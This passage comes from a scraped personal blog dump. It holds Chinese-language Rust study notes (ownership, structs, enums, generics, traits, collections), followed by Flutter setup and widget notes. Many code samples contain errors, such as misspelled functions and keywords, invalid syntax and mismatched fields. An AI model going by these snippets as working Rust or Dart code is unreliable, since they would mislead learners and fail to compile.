5){\rbreak;\r};\rcount +=1;\r};\rloop循环可以搞个标签，来指定终止哪次循环（嵌套循环下），例如：\u0026lsquo;a\u0026rsquo;: loop{ break \u0026lsquo;a\u0026rsquo;}\ncontinue操作符可跳出当前循环，去执行下次循环，一般搭配if分支语句来使用\n所有权\n所有权是rust的特性之一，无需gc垃圾回收机制就可以保证内存安全\n作用域是一个语句块在程序中有效的范围，在该范围内的变量是有效的，离开该范围后将自动释放内存空间\n释放内存空间是使用rust提供的一个叫drop函数，会在结尾}自动调用该函数\n当一个变量的值是指针时，赋值给另一个变量，当这2个变量离开作用域后，会导致二次释放，因为这2个变量指向的是同一个内存空间地址，二次释放会导致内存污染，这个指针实质上是在堆上的\nrust为了解决二次释放导致的内存安全问题，当一个存在指针值的变量赋值给另一个变量后，会销毁第一个变量，而无需再等到离开作用域，第一个变量将变成是无效的，这个赋值将不是复制，而是剪切板一样，移动数据\n如果需要复制堆的数据，可使用clone方法，例如：\nlet a = String::from(\u0026quot;hallo word\u0026quot;);\rlet b = a.clone();\rprintln!(\u0026quot;{},{}\u0026quot;a,b);\r注意：移动数据只针对栈上的指针之类的有效，如果是赋值的是整型之类存在在栈上的，是不需要移动，因为复制指针这些\u0026quot;引用类型\u0026quot;需要耗费性能，rust通过copy trait标注来决定是否赋值给其他变量后，这个变量是否还有效，只要类型实现了copy trait就可以\n支持copy trait的类型：全部整数类型，布尔类型，浮点类型，字符类型，元组（部分类型支持）\n为了避免需要引用变量而导致原变量失效，rust提供了引用功能，例如：\nlet a = String::from(\u0026quot;hallo word\u0026quot;);\rlet b = \u0026amp;a;\r引用不会具备该值的所有权，但是可以指向这个值\n引用实质上是借用的，是不能修改借用的值，如果想修改可提前对具备所有权的变量声明mut可变，例如：\nlet mut a = String::from(\u0026quot;hallo\u0026quot;);\rlet b = \u0026amp;mut a;\r注意：同一个作用域中只能有一个对这个数据进行可变引用，使用多个可变引用会报错，这是为了避免竞争\n切片类型也是没有所有权的，对切片类型进行操作，是不会影响到原来的值，例如：\nlet a = String::from(\u0026quot;hallo world\u0026quot;);\rlet hello = \u0026amp;a[0..5];\rlet world = \u0026amp;a[6..11];\ra.clear();\r结构体与元组一样，元素可以是多个类型，但是和元组不同的是，结构图具备元素别名，并且使用struct来定义结构体，例如：\nstruct Name{\rid: i64,\rusername: String,\remail: String,\rpass: String,\r};\r上面例子就是一个结构体，这个结构体的名称叫Name，具备4个字段，每个字段有自己对于的字段名称和类型\n有结构体当然也有结构体实例，结构体是结构体实例的抽象\nlet name1 = Name{\rid: 1,\rusername: String::from(\u0026quot;root\u0026quot;),\remail: String::form(\u0026quot;a@xiaochenabc123.test.com\u0026quot;),\rpass: String::form(\u0026quot;123456789\u0026quot;),\r};\rprintln!(\u0026quot;hallo {}\u0026quot;, name1.username);\rname1.email = String::from(\u0026quot;b@xiaochenabc123.test.com\u0026quot;);\r注意：结构体实例必须按照结构体每个字段的类型要求进行初始化，不需要按照结构体声明的字段顺序一样\n利用函数返回值来完成结构体的实例化，例如：\nfn NameTest(username: String, email: String, pass: String) -\u0026gt;{\rName{\rusername,\remail,\rpass,\r};\r};\rfn main(){\rlet name01 = NameTest(\u0026quot;user01\u0026quot;,\u0026quot;test@xiaochenabc123.test.com\u0026quot;,\u0026quot;12356987\u0026quot;);\rprintln!(\u0026quot;hallo {}\u0026quot;, name01.username);\r};\r基于已有的实例，创建新的实例，例如：\nlet name2 = Name{\rusername: String::from(\u0026quot;uesr02\u0026quot;),\r..name01\r};\r注意：其中..name01是表示其他字段将从name01实例中获取\n元组结构体（结构体字段没名称的就叫元组结构体）\nstruct Abc(i64,bool,f64);\rlet abc1 = Abc(100,true,3.14);\r单元结构体（这玩意和go的空结构体一样，只定义一个结构体，但是没有字段和属性）\nstruct Xyz;\rlet xyz1 = Xyz;\r结构体的所有权：当使用已有的实例，创建新的实例时，改变的字段的所有权将会被转移到新的实例，原有的实例的那个字段将失效，其他字段正常，因此使用结构体应该避免使用引用类型\n枚举\nenum HomeTest{\rHallo,\rXyz,\rAbc,\rHahaha(i64)\r};\rstruct Demo{\rhome: HomeTest,\rid: i64,\r}\rfn main(){\rlet test1 = HomeTest::Hallo;\rlet test2 = HomeTest::Abc;\rprintln!(test1);\rprintln!(test2);\rlet a = Demo{\rhome: HomeTest::Abc,\rid: 1,\r}\rlet b = Demo{\rhome: HomeTest::Hallo,\rid: 2,\r}\r}\r上面例子中，通过enum关键字声明并且定义一个枚举类型，这个枚举类型有3个枚举成员，通过::操作符来访问枚举的成员，枚举是一种类型，因此可用于函数参数类型，结构体类型等等\n枚举的成员可以是任何类型的数据，也可以限制成员的数据类型，结构体使用{}，单个使用()，多个可使用逗号分割\nrust的空值使用Option枚举类型来表示，而不是null\nOption，Some，None都包含在prelude标准库中，不需要在源码中声明，或者引用，直接就可以使用\nOption枚举类型的实现\nenum Option\u0026lt;T\u0026gt; {\rSome(T),\rNone,\r};\r表示一个空值\nlet null1: Option\u0026lt;i64\u0026gt; = None;\r如果使用None，则需要提前提供是什么类型，因为无法通过None来推断出类型\nOption比null好的原因是，Option(T)和任何类型都不相同，无法将Option和i64类型的值进行处理\n如果有值则：\nlet num1:Option \u0026lt;i64\u0026gt; = Some(233);\r如果使用Some，表示有个值存于Some中\n使用Option枚举类型：\nfn Test(a:Option\u0026lt;i64\u0026gt;) -\u0026gt; Option\u0026lt;i64\u0026gt; {\rmatch a {\rSome(i) =\u0026gt; Some(i),\rNone =\u0026gt; None,\r}\r}\rlet abc = Some(666);\rlet xyz = Test(abc);\r上面例子中，通过Test函数传入一个Option类型的参数，并且返回一个Option类型的值，使用match模式匹配，如果传入None则返回None，传入Some(i64)，则返回其本身（也就是Some(i64)）\n模式匹配\nmatch语句\nenum Demo{\rHallo,\rAbc,\rXyz,\r};\rlet test1 = Demo::Xyz;\rlet test2 = match test1 {\rDemo::Hallo =\u0026gt; \u0026quot;hallo word\u0026quot;,\rDemo::Abc | Demo::Xyz =\u0026gt; \u0026quot;hallo abcxyz\u0026quot;,\r},\r_ =\u0026gt;\u0026quot;0\u0026quot;,\r};\r上面例子中进行匹配Demo对应的枚举类型，match会穷尽列出全部已知的可能，如果存在不知道的可能，使用下划线_来表示，match语句与switch语句很像，match的分支必须指向一个表达式，而且每个分支的表达式结果必须是相同类型的\n假如只想对单个模式来进行处理，可使用if let语句，例如：\nlet test1 = Demo::Xyz;\rif let Test2(Demo::Xyz) = test1{\rprintln!(\u0026quot;hallo wrod\u0026quot;);\r}\r上面例子中，如果匹配到Demo::Xyz，输出hallo wrod，如果不匹配则忽略\n注意：match和if let会在模式匹配时进行覆盖老值，绑定新的值\nmatches!宏匹配，可以将一个表达式和模式来进行匹配，返回结果是布尔值，例如：\nlet a = 1;\rassert!(matches!(1..100 | -1..-100));\r方法\nrust使用impl关键字来定义方法\nstruct Demo {\rid: i64,\ruser: String,\r}\rimpl Demo {\rfn new(id: i64, user: String) -\u0026gt; Demo {\rDemo{\rid: id,\ruser: user,\r}\r}\rfn printa(\u0026amp;self){\rprintln!(self.user)\r}\r}\rfn mian(){\rlet a = Demo{\rid: 1,\ruser: \u0026quot;root\u0026quot;,\r}\ra.printa()\r}\r\u0026amp;self为借用Demo结构体，new函数是Demo方法的关联函数，用于初始化结构体实例\n\u0026amp;self是self: \u0026amp;Self的简写，self有所有权，而\u0026amp;self是表示不可变借用，\u0026amp;mut self就是可变借用\nimpl Demo是struct Demo的实现，另外rust允许方法名与结构体的字段名相同，调用方法加()，否则就是在访问字段\nrust自动引用和解引用：当一个对象调用方法时，会自动为该对象添加\u0026amp;，\u0026amp;mut，*来确保该对象能与方法匹配\n关联函数：当一个存在于impl中，但是没有使用self的函数就被叫关联函数，通常存在impl中的new函数是结构体的构造实例器（rust没有使用new作为关键字，并不强制使用new）\n关联函数因为不是方法，需要使用::来调用，例如Demo::new(2,\u0026ldquo;admin\u0026rdquo;)\nrust允许将结构体定义成多个impl块，而不需要全部都写到一块，更灵活扩展\n枚举类型也可被实现\n泛型与特征\n泛型，当需要对可能存在不同类型的数据处理，但是处理逻辑是一样时，可使用泛型来避免重复，例如：\nfn test\u0026lt;T: std::ops::Add\u0026lt;Output = T\u0026gt;\u0026gt;(a:T, b:T) -\u0026gt; T {\ra + b\r}\rfn mian(){\rprintln!(\u0026quot;{}\u0026quot;,test(1,2));\rprintln!(\u0026quot;{}\u0026quot;,test(3.14,1.23));\r}\r注意：T是泛型参数，泛型参数是可自定义的，不过一般都是用T（表示Type），T可以表示任何类型，但是不是所有类型可以进行比较运算处理的，需要通过特征（这里是\u0026lt;T: std::ops::Add\u0026lt;Output = T\u0026gt;）来限制T的类型\n结构体泛型\nstruct Demo\u0026lt;T\u0026gt;{\ra: T,\rb: T,\r}\rfn main(){\rlet x = Demo{a: 1,b: 21};\rlet y = Demo{a: 1.23, b: 3.14};\rlet z = Demo{a: \u0026quot;hallo word\u0026quot;, b: \u0026quot;hahaha\u0026quot;}\r}\r注意：结构体中使用T泛型的，必须是相同类型，因为第一个字段被赋值，会推断T类型为该赋值的实质类型，因此会报错的\n如果想使用类型不同，又想使用泛型，可使用多个泛型参数来分别表示不同的类型\n枚举泛型，Option枚举类型就是使用了泛型的，这里就不写了\n方法泛型，例如：\nstruct Demo\u0026lt;T, U\u0026gt; {\rid: T,\ruser: U,\r}\rimpl\u0026lt;T,U\u0026gt; Demo\u0026lt;T,U\u0026gt; {\rfn new(id: T, user: U) -\u0026gt; Demo\u0026lt;T,U\u0026gt; {\rDemo{\rid: id,\ruser: user,\r}\r}\rfn printa(\u0026amp;self){\rprintln!(self.user)\r}\r}\r注意：使用泛型参数必须在提前声明\nconst泛型（Rust 1.51 版本引入）\nconst泛型是针对值的泛型，而不是针对类型，例如：\nfn Demo\u0026lt;T: std::fmt::Debug,const U:i64\u0026gt;(a:[T; U]){\rprintln!(\u0026quot;{:?}\u0026quot; a)\r}\rfn main(){\rlet a: [i64:5] = [0,123,666,888,987];\rDemo(a)\rlet a: [i64:2] = [0,123];\rDemo(a)\r}\rrust在编译阶段会对泛型的多个类型生成独立的代码（单态），会牺牲一些编译完成文件的大小和编译速度\n特征\n声明一个特征使用trait关键字，例如：\npub trait Demo {\rfn DemoTest(\u0026amp;self);\r}\r实现一个特征\npub struct Home {\rpub user: String,\rpub pass: String,\r}\rimpl Demo for Home {\rfn DemoTest(\u0026amp;self) -\u0026gt; String {\rformat!(\u0026quot;用户是{},密码是{}\u0026quot;,self.user,self.pass);\r}\r}\rpub struct Abc {\rpub admin: String,\rpub rank: String,\r}\rimpl Demo for Abc {\rfn DemoTest(\u0026amp;self) -\u0026gt; String {\rformat!(\u0026quot;管理者是{},管理等级是{}\u0026quot;,self.admin,self.rank);\r}\r}\rfn main() {\rlet home1 = Home{user: \u0026quot;xiaochen\u0026quot;,padd: \u0026quot;abc123456789\u0026quot;};\rlet xyz = Abc{admin: \u0026quot;main\u0026quot;,rank: \u0026quot;max\u0026quot;};\rprintln!(\u0026quot;{}\u0026quot;,home1.DemoTest());\rprintln!(\u0026quot;{}\u0026quot;,xyz.DemoTest());\r}\r从上面的例子中可以看出，特征是定义了一种行为，实现该特征就可使用该行为，特征和结构体，枚举类型是很像的，但是特征可被共享到每个实现上（因为rust没有继承概念，但是行为/方法是相同的）\n注意：特征存在一种规则，想实现一个特征必须至少一个是在当前作用域定义的，这个规则是为了避免不会破坏特征和实现的定义\n默认实现（无需实现该方法，默认使用该实现，也可对默认实现进行重载）\npub trait Demo {\rfn DemoTest(\u0026amp;self) -\u0026gt; String {\rString::form(\u0026quot;hallo wrod\u0026quot;);\r}\r}\r只要在实现中没有重载该方法，就会使用默认实现\n特征作为函数参数\npub fn Demo1(data: \u0026amp;impl Demo){\rprintln!(\u0026quot;{}\u0026quot;,data.DemoTest());\r}\r在上面例子中，data函数参数实现了Demo特征，当然也可以使用其他实现了Demo特征的类型来作为参数\n特征约束\npub fn Demo2\u0026lt;T: Demo\u0026gt; (data: \u0026amp;T){}\r上面例子就是特征约束，特征约束可限制函数参数必须是实现了Demo特征的类型\n多重约束\npub fn Demo3\u0026lt;T: Demo + AbcTest\u0026gt; (data: \u0026amp;T){}\r或者\npub fn Demo3(data: \u0026amp;(impl Demo + AbcTest)){}\r上面例子就是多重约束，可限制参数必须使用Demo特征，还必须实现AbcTest特征\nWhere 约束（简写多重约束）\npub fn Demo4\u0026lt;T\u0026gt;(data: \u0026amp;T) -\u0026gt; String\rwhere T: Demo + AbcTest,\r{}\r特征约束高级应用\nimpl \u0026lt;T:Dome1 + Dome2\u0026gt; Demo\u0026lt;T\u0026gt; {\rfn Test1(\u0026amp;self){\rprintln!(\u0026quot;hallo word\u0026quot;);\r}\r}\r上面例子中，只有实现了Dome1特征和Dome2特征的Demo才拥有Test1方法\nimpl Demo也可以声明返回了一个类型，这个类型实现了Demo特征，例如：\nfn Demo5() -\u0026gt; impl Demo {\rHome{\ruser: String::from(\u0026quot;xiaochen\u0026quot;),\rpadd: String::from(\u0026quot;abc123456789\u0026quot;),\r};\r}\r集合类型\n集合类型，在rust中是特殊的类型，因为集合类型可以表示多个值，而其他数据类型大多只能表示一个值，集合类型的值被分配到堆内存上，集合类型分3种，分别是vector动态数组（每个元素分配的空间都是一致的，大小，宽度，高度），HashMap KV存储（每个元素都是成对，一个k对应着另一个v），以及String类型\n创建vector动态数组\nlet mut a: Vec(i64) = Vec::new();\r注意：rust编译器可通过a.push()自行推导出数据类型，因此不显式声明类型也是没问题的\n还可以通过vec!宏来创建，例如：\nlet mut a = vec![123,666,888,1000];\r更新动态数组，通过push方法来完成，例如：\nlet mut a = Vec::new();\ra.push(123);\r读取元素，有2种方式，分别是下标索引，get方法，例如：\nlet mut a = vec![123,666,888,1000];\rlet b: \u0026amp;i32 = \u0026amp;a[3];\rmatch a.get(3){\rSome(c) =\u0026gt; println!(\u0026quot;{c}\u0026quot;),\rNone =\u0026gt; println!(\u0026quot;没有这个元素\u0026quot;)\r}\r集合类型的下标索引从0开始，\u0026amp;a[3]是借用a动态数组的第4个元素，也就是1000，最后获取导该元素的引用\nget方法的返回值是Option\u0026lt;\u0026amp;T\u0026gt;，因此需要match来匹配解构出目标值\n下标索引和get方法的区别，很简单，就是下标索引会出现数组越界问题（报错），而get方法通过Option\u0026lt;\u0026amp;T\u0026gt;。如果不存在该值会返回None（安全，不报错）\n动态数组和其他类型一样，超出作用域外，会被自动销毁\n注意：动态数组的大小是可变的，因此当原数组大小不够时，会分配一个更大的内存空间，再将原数组拷贝到这个更大的内存空间的新数组上，因此在push之前不要进行任何引用避免分配到新内存空间后，之前的引用指到一块无效的内存，rust编译器会自动检查，如果在push之前进行了引用（包括不可变借用和可变借用），如果在push之后没有使用，就正常通过，如果使用了，会报错\n可创建指定大小的Vector，通过Vec::with_capacity(10)来完成\n迭代遍历动态数组元素\nlet mut a = vec![123,666,888,1000];\rfor i in \u0026amp;mut a {\r*i += 1;\rprintln!(\u0026quot;{i}\u0026quot;);\r}\r通过枚举类型和特征对象来实现动态数组存储不同类型的元素，例如：\n枚举类型\nenum Abc {\rid(i64),\ruser(String),\rpadd(String),\r}\rfn useraddr(abc:Abc){\rprintln!(\u0026quot;{:?}\u0026quot;,abc);\r}\rfn main(){\rlet a = vec![\rAbc::id(1); Abc::user(\u0026quot;admin\u0026quot;.to_string()); Abc::padd(String::from(\u0026quot;123456\u0026quot;)); ]\rfor i in a {\ruseraddr(i);\r}\r}\r特征对象\ntrait Abc {\rfn useraddr(\u0026amp;self);\r}\rstruct id(i64);\rimp Abc for id {\rfn useraddr(\u0026amp;self) {\rprintln!(\u0026quot;id: {:?}\u0026quot;,self.0)\r}\r}\rstruct user(String);\rimp Abc for user {\rfn useraddr(\u0026amp;self) {\rprintln!(\u0026quot;user: {:?}\u0026quot;,self.0)\r}\r}\rstruct padd(String);\rimp Abc for padd {\rfn useraddr(\u0026amp;self) {\rprintln!(\u0026quot;padd: {:?}\u0026quot;,self.0)\r}\r}\rfn main() {\rlet a: Vec\u0026lt;data\u0026lt;dyn Abc\u0026gt;\u0026gt; = vec![\rdata::new(id(1)),\rdata::new(user(\u0026quot;admin\u0026quot;.to_string())),\rdata::new(padd(\u0026quot;123456\u0026quot;.to_string())),\r];\rfor i in a {\ri.useraddr();\r}\r}\r注意：必须表示数组中存储的是哪个特征的对象，例如上面例子中的Vec\u0026lt;data\u0026gt;，表示是特征Abc的对象\nHashMap KV存储和动态数组不同，存储的是映射的KV键值对，可通过一个键查询到值，查询效率非常高，复杂度为O(1)\n创建HashMap KV存储\n可通过new方法创建，例如：\nuse std::collections::HashMap;\rlet mut hashdata = HashMap::new();\rhashdata.insert(\u0026quot;uesr\u0026quot;,\u0026quot;admin\u0026quot;);\rhashdata.insert(\u0026quot;padd\u0026quot;,\u0026quot;admin12345\u0026quot;);\r注意：HashMap没有包含在Rust的prelude中，需要手动从标准库中use引入\n可创建指定大小的HashMap，通过HashMap::with_capacity(10)来完成\n可以通过迭代器和collect方法创建，例如：\nuse std::collections::HashMap;\rlet DataList = vec![\r(\u0026quot;牛奶\u0026quot;.to_string(), 3),\r(\u0026quot;方便面\u0026quot;.to_string(), 4),\r(\u0026quot;可乐\u0026quot;.to_string(), 3),\r];\rlet MapData: HashMap\u0026lt;_,_\u0026gt; = DataList.into_iter().collect();\rprintln!(\u0026quot;{:?}\u0026quot;,MapData)\r注意：HashMap的所有权取决于kv的类型，如果类型实现了Copy特征，那么改类型被复制到HashMap中，如果没有实现，则所有权转移到HashMap\n获取HashMap元素通过get方法，例如：\nuse std::collections::HashMap;\rlet mut abc = HashMap::new();\rabc.insert(String::from(\u0026quot;雪糕\u0026quot;), 4);\rlet test = String::from(\u0026quot;雪糕\u0026quot;);\rlet testSearch: Option\u0026lt;\u0026amp;i32\u0026gt; = abc.get(\u0026amp;test);\rlet testScore: i32 = testSearch.get(\u0026amp;test).copied().unwrap_or(0);\r上面例子使用了借用规则，避免获取元素时，发生所有权的转移，并且使用Option\u0026lt;\u0026amp;i32\u0026gt;类型，如果没有该对象，返回None，安全\n更新HashMap的中，例如：\nuse std::collections::HashMap;\rlet mut data1 = HashMap::new();\rdata1.insert(\u0026quot;薯条\u0026quot;, 5);\rlet a = data1.insert(\u0026quot;薯条\u0026quot;, 10);\rassert_eq!(a, Some(5));\rlet b = data1.get(\u0026quot;薯条\u0026quot;);\rassert_eq!(b, Some(\u0026amp;10));\rlet c = data1.entry(\u0026quot;啤酒\u0026quot;).or_insert(5);\rassert_eq!(*c, 5);\r上面例子中包含覆盖值；查询新插入的值；查询目标值，如果不存在则插入新值，3种情况\n注意：不是所有类型都可以作为hashmap的key，能否作为取决于类型是否实现了std::cmp::Eq特征（相等比较），目前HashMap使用的哈希函数是SipHash散列函数\n类型转换\n包和模块\n格式化输出\n生命周期\n错误处理\n","permalink":"https://xiaochenabc123.github.io/posts/142/","summary":"Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会\n安装\n官方推荐使用Rustup来安装（Rustup是rust的安装器和版本管理工具）\n通过rustup-init来安装Rust\nhttps://www.rust-lang.org/zh-CN/tools/install\nwindows直接安装pustup-init.exe来安装（需联网）,默认通过vc安装，建议选择2自定义安装\nLinux或者macOS则直接执行以下命令\ncurl \u0026ndash;proto \u0026lsquo;=https\u0026rsquo; \u0026ndash;tlsv1.2 -sSf https://sh.rustup.rs | sh\n注意：Rust的一些包，可能还依赖C编译器，因此最好安装一下GCC\n检查是否安装完成\nrustc \u0026ndash;version\n如果喜欢用Visual Studio Code开发，可搭配rust-analyzer插件来使用\n更新rust\nrustup update\n卸载rust和rustup\nrustup self uninstall\n在安装rustup的同时也会安装Cargo\nCargo是rust的项目构建工具和包管理器\n检查是否安装成功\ncargo \u0026ndash;version\n创建第一个rust项目\ncargo new halloword\n其中Cargo.toml文件是项目的依赖库文件\n通过编辑Cargo.toml文件来添加依赖\nrust依赖可通过https://crates.io/查找\n[package]\rname = \u0026quot;hallo_word\u0026quot;\rversion = \u0026quot;0.0.1\u0026quot;\redition = \u0026quot;2021\u0026quot;\r[dependencies]\rhyper = \u0026quot;0.14.20\u0026quot; # 来自https://crates.io/\r# hyper = { git = \u0026quot;https://github.com/hyperium/hyper\u0026quot; } # 来自第三方社区\r# hyper = { path = \u0026quot;.","title":"Rust学习笔记"},{"content":"Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用\n闲鱼和Now直播，美团，快手都使用了Flutter\n获取Flutter\nhttps://storage.flutter-io.cn/flutter_infra_release/releases/stable/windows/flutter_windows_2.10.3-stable.zip\n添加path环境变量\n由于Flutter库是在google那，因此需要设置第三方可信镜像库\n设置PUB_HOSTED_URL和FLUTTER_STORAGE_BASE_URL环境变量\nPUB_HOSTED_URL设置为https://pub.flutter-io.cn\nFLUTTER_STORAGE_BASE_URL设置为https://storage.flutter-io.cn\n（flutter-io.cn所提供的镜像由中国的Flutter开发者社区提供和维护）\n其他可信第三方镜像库：\n腾讯云镜像\nPUB_HOSTED_URL（https://mirrors.cloud.tencent.com/dart-pub） FLUTTER_STORAGE_BASE_URL（https://mirrors.cloud.tencent.com/flutter）\n清华大学镜像\nPUB_HOSTED_URL（https://mirrors.tuna.tsinghua.edu.cn/dart-pub） FLUTTER_STORAGE_BASE_URL（https://mirrors.tuna.tsinghua.edu.cn/flutter）\n添加Flutter环境变量path，解压路径\\flutter\\bin\n执行where.exe flutter dart，如果有反应，说明path环境配置完成\n（如果要开发安卓的话，需要安装jdk，Android Studio，Android Jdk，可执行flutter doctor检查依赖（如果是X表示没依赖，需要安装））\n这里用Visual Studio Code的Flutter插件\n创建第一个demo（项目名必须全小写，可用_下划线）\nflutter create flutterdemo\n启动项目（编译执行）\nflutter run\nDart是静态类型语言，它会在定义时绑定数据类型（var）\nDart允许一个类中有多个构造函数，在new初始化时，可选择类的某个构造函数\nDart库管理（pub.dev）,在pubspec.yaml添加库\n实质上Dart和JavaScript很相似，只是它有抽象和泛型（ts也有泛型，抽象类就是类似于golang的接口，只定义不实现）\nDart也是单线程执行，主线程外也有宏任务队列和事件队列（可以理解为JavaScript中的宏任务）\nDart执行过程：执行main()函数，判断是微任务还是事件队列，是微任务则插入微任务队列，是宏任务则插入宏任务队列，执行完成后（主线程），会执行微任务队列和事件队列，以及判断微任务队列和事件队列是否为空，当为空时程序执行结束\nflutter项目下的lib/main.dart，class MyApp类下\n修改为 home: const MyHomePage(title: \u0026lsquo;Hallo word\u0026rsquo;), // 当前title信息\n在return Scaffold下的body: Center下的，修改为children: [const Text(\u0026lsquo;Hallo word\u0026rsquo;,),\n运行后可以看到一个title以及内容都为Hallo word的app\nflutter自带了可视化工具，Dart DevTools\n自己写一个main.dart\nvoid main() =\u0026gt; runApp(MyApp());\rclass MyApp extends StatelessWidget{\r@override\rWidget build(BuildContext context){\rreturn MaterialApp(\rtitle: \u0026quot;hallo word\u0026quot;, // app的title\rtheme: ThemeData(\rprimarySwatch: Colors.orange, // 页面的主题颜色\r)\rhome: Scaffold(\rappBar: AppBar(\rtitle: Text(\u0026quot;hallo word\u0026quot;), // 当前页面的title\r),\rbody: Center(\rchild: Text('hallo flutter'), // 当前页面的文本\r),\r),\r);\r}\r}\rflutter run\n（热更新，在执行中输入r或者R）（按p为显示网格，按q为退出，按o为切换android和ios的预览模式）\n这边用安卓实机调试（也可以用安卓模拟器，例如夜神模拟器）\n使用flutter devices命令检查是否寻找到该机，记得开启开发者模式，打开调试，允许调试，开启允许USB安装，数据线连接到电脑，并且安装和实机（虚拟机）中的安卓版本sdk，如果官网打不开，可去https://www.androiddevtools.cn/下载或者在Android Studio中安装，下载安装Google USB Driveer（也可以在Android Studio中安装）\nflutter生命周期\nflutter组件分为无状态组件和有状态组件，无状态组件就是单纯显示内容的，没有逻辑计算，因此只渲染一次，有状态组件就是具备逻辑交互功能的组件，会因为数据发生变化而多次渲染，这个概念和JavaScript是一样的\n无状态组件的生命周期只有一个，build\n有状态组件生命周期分别为\ncreateState：该钩子在StatefulWidget中创建State的方法，当StatefulWidget被调用时会立即执行 createState\ninitState：该钩子为State初始化调用，一般用来初始化State变量的赋值，与服务端交互获取服务端数据以后调用setState来设置初始化State。\ndidChangeDependencies：该钩子在该组件依赖的State发生变化时会被调用（这里的State发生变化指全局State变化，例如当InheritedWidget发送变化），build跟着触发\nbuild：返回需要渲染的Widget，一般有来返回Widget相关逻辑，build会被调用多次\nsetState：当状态发送变化时触发，该钩子被执行后，必然会调用build钩子\nreassemble：该钩子在debug模式下，每次热重载都会执行该钩子，一般来用做一些debug操作\ndidUpdateWidget：该钩子主要是在组件重新构建时调用，例如热重载，该钩子被执行后，必然会调用build钩子\ndeactivate：该钩子在组件被移除节点后会被调用，如果没有插入到其他节点，会继续触发dispose钩子\ndispose：永久移除该组件，释放组件资源，一个组件的生命终点\n在无状态组件中，执行阶段中只有build，也只会执行build函数钩子，因此执行和效率比有状态组件好\n注意：当动态组件更新时，将导致其子组件更新，导致性能问题\n常见组件：\nText: 渲染文本组件\nImage :图片显示组件\nIcon : Icon库组件\nAppBar：页面导航条组件\nRow: 布局组件，使子元素在水平方横向布局\nColumn: 布局组件，使子元素在水平方向纵向布局\nContainer: 容器组件\nExpanded：控制flex布局的占位（用在row或者column组件内部）\nStack：层叠布局组件，在当前组件层叠另一层（和css的z-index类似）\nFadeInImage：加载时的占位组件\nPadding：填充空白区域组件，和css的padding效果类似\nClipRRect：圆角组件，可将子组件处理成圆边角\nText组件，它有TextAlign属性，maxLines属性，overflow属性，style属性\nTextAlign属性就是定义文本对齐方式的，例如：\nchild:Text(\r'hallo word',\rtextAlign:TextAlign.center,\r)\rleft左，center居中，right右\nmaxLines属性是定义文本显示的最大行数数，例如：\nchild:Text(\r'hallo word',\rtextAlign:TextAlign.center,\rmaxLines: 1,\r)\roverflow属性是定义文本溢出时的处理方式，例如：\nchild:Text(\r'hallo word',\rtextAlign:TextAlign.center,\rmaxLines: 1,\roverflow: TextOverflow.ellipsis,\r)\r注意：Text组件是没有宽度的，文本会撑开Text组件，因此还需要搭配Container组件使用，例如：\nContainer(\rwidth: 10,\rchild: Text(\r\u0026quot;hallo wordhallo wordhallo wordhallo wordhallo wordhallo word\u0026quot;,\rtextAlign: TextAlign.left,\roverflow: TextOverflow.ellipsis,\rmaxLines: 1,\r),\r),\rstyle属性可以理解成Flutter组件的css（实质上效果都类似css），例如：\nchild:Text(\r'hallo word',\rtextAlign: TextAlign.center,\rstyle: TextStyle(\rfontSize: 20.0, // 字体大小20\rcolor: Colors.red, // 字体颜色为红色\rdecoration: TextDecoration.underline, // 文本下划线\r),\r)\rContainer组件，有Alignment属性，padding属性，margin属性和decoration属性\nContainer组件宽度和高度，以及颜色可直接通过width和height属性，color属性来定义\nAlignment属性：该属性是定义Container组件的内容的对齐方式，例如：\nchild:Container(\rchild:new Text('hallo word',style: color: Colors.red,),\rlignment: Alignment.center,\r),\r该属性可设置头部对齐方式，底部对齐方式，水平对齐方式，例如topCenter，center，bottomCenter\npadding属性：该属性定义Container组件边缘和子内容的距离，和css的内边距类似，例如：\nchild:Container(\rchild:new Text('hallo word',style: color: Colors.red,),\rlignment: Alignment.center,\rpadding:const EdgeInsets.all(20.0), // 上下左右边距都为20\r),\r如果想单独设置，可padding:const EdgeInsets.fromLTRB(10.0,20.0,30.0,40.0),\n这4个值分别表示左，上，右，下\nmargin属性，自然是定义外边距的，例如margin: const EdgeInsets.all(20.0),\ndecoration属性，用于定义背景，边框，例如：\nchild:Container(\rchild:new Text('hallo word',style: color: Colors.red,),\rlignment: Alignment.center,\rpadding:const EdgeInsets.all(20.0), // 上下左右边距都为20\rdecoration:new BoxDecoration(\rgradient:const LinearGradient(\rcolors:[\rColors.red, // 红色到黑色的渐变\rColors.black,\r]\r),\rborder:Border.all(width:3.0,color:Colors.black) // 黑色边框，边框宽度为3\r),\r),\rImage组件，加载图片有4种方式，分别为：\nImage.asset 加载项目内图片（相对） Image.file 加载本地图片（绝对） Image.memory 加载Uint8List资源图片 Image.network 加载网络图片\n加载网络图片，例如：\nchild:new Image.network(\r'http://xiaochenabc123.test.com/1.jpg',\r),\r加载本地（或者项目）内图片，例如：\nchild:new Image.file(\rFile(\u0026quot;./1.jpg\u0026quot;)\r)\rImage组件的ImageRepeat属性和fit属性\nImageRepeat属性可设置图片重复，例如铺满整个容器，fit属性可设置图片的拉伸和挤压，例如：全图显示，拉伸填满整个容器\n例子：\nchild:new Image.network(\r'http://xiaochenabc123.test.com/1.jpg',\r// ImageRepeat: ImageRepeat.repeat // 横向和纵向重复，直到填满容器\rfit: BoxFit.contain // 显示原比例图片\r),\rImageRepeat.repeat: 横向和纵向重复，填满整个容器 ImageRepeat.repeatX: 横向重复，纵向不重复 ImageRepeat.repeatY：纵向重复，横向不重复\nBoxFit.fill: 图片拉伸，并填满父容器。 BoxFit.contain: 显示原比例图片 BoxFit.cover：可能拉伸，裁切（图片填满整个容器，但是不变形） BoxFit.fitWidth：宽度充满（横向填满），图片可能拉伸，裁切 BoxFit.fitHeight ：高度充满（竖向填满）,图片可能拉伸，裁切 BoxFit.scaleDown：显示原比例图片，但是此属性不允许超过源图片大小\nRow组件：水平布局组件，该组件又分为灵活布局和非灵活布局\n灵活布局：使用Expanded（类似于flex效果），解决非灵活布局的空余或者溢出的情况\n非灵活布局：当子元素不足填满时，会有空余位置，当子元素溢出位置了，会警告\n例如：\nbody: Row(\rchildren: \u0026lt;Widget\u0026gt;[\rExpanded(\rflex: 1,\rchild: Container(\rColors.black,\r),\r),\rExpanded(\rflex: 2,\rchild: Container(\rColors.red,\r),\r),\r] 